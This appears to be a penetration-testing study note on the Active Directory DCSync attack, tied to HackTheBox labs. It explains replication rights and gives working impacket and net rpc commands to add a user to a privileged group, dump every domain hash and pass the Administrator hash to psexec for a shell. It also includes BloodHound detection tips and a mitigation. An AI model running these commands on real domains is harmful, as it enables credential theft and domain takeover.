🧠 Active Directory - DCSync Attack

What is it?

• Concept: Abuses the MS-DRSR directory replication protocol. Any principal holding the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights on the domain object can ask a real Domain Controller to “replicate” account data to it — exactly what DCs normally do to each other — and simply request the data for whichever accounts it wants.
• Impact: Offline dump of any account’s password hash (almost always targeted at Administrator or krbtgt), without ever executing code on the DC itself.

How it works

Domain Controllers replicate directory data (including password hashes) between each other using MS-DRSR, authenticated purely by whether the requesting principal holds the right replication permissions — not by whether the requester is actually a DC. Those permissions are ordinary AD ACEs (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All), which means they can end up granted to a regular user or, more commonly, to a security group — sometimes deliberately (backup/sync tooling), sometimes as a misconfiguration. Any account that ends up with (or can add itself to a group with) those two rights can impersonate a DC well enough to just ask for the data directly.

Exploitation

Prerequisites

• DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object — directly, through group membership, or via a delegated ACE that can be abused to grant them

Attack Vectors

# If the rights are only held by a group the current account can join:
impacket-dacledit -action write -rights FullControl -principal <user> -target-dn "<group_dn>" '<domain>'/'<user>':'<pass>'
net rpc group addmem "<group_name>" <user> -U <domain>/<user>%'<pass>' -S <dc_hostname>
 
# Pull every account's hash
impacket-secretsdump <domain>/<user>:<pass>@<dc_hostname>
 
# Pass the recovered Administrator hash straight into a shell
impacket-psexec administrator@<dc_hostname> -hashes ':<administrator_nt_hash>'

Notes

• BloodHound is the fastest way to spot this — look for GetChanges/GetChangesAll edges landing on the domain object, then check whether any already-compromised account is (or can become) a member of whatever principal holds them.
• secretsdump targeting a single user with -just-dc-user <user> is quieter and faster than a full dump if only one account’s hash is actually needed.

Mitigation

• Fix: Restrict DS-Replication-Get-Changes-All to actual Domain Controllers and dedicated, tightly-controlled backup/sync service accounts — audit which groups hold it and treat membership in those groups as Tier-0 sensitive.

Related Usage

File	Created
HTB - Sauna	Tuesday, July 21st 2026, 4:41:17 am
HTB - StreamIO	July 21, 2026

---

References:

• DCSync - HackTricks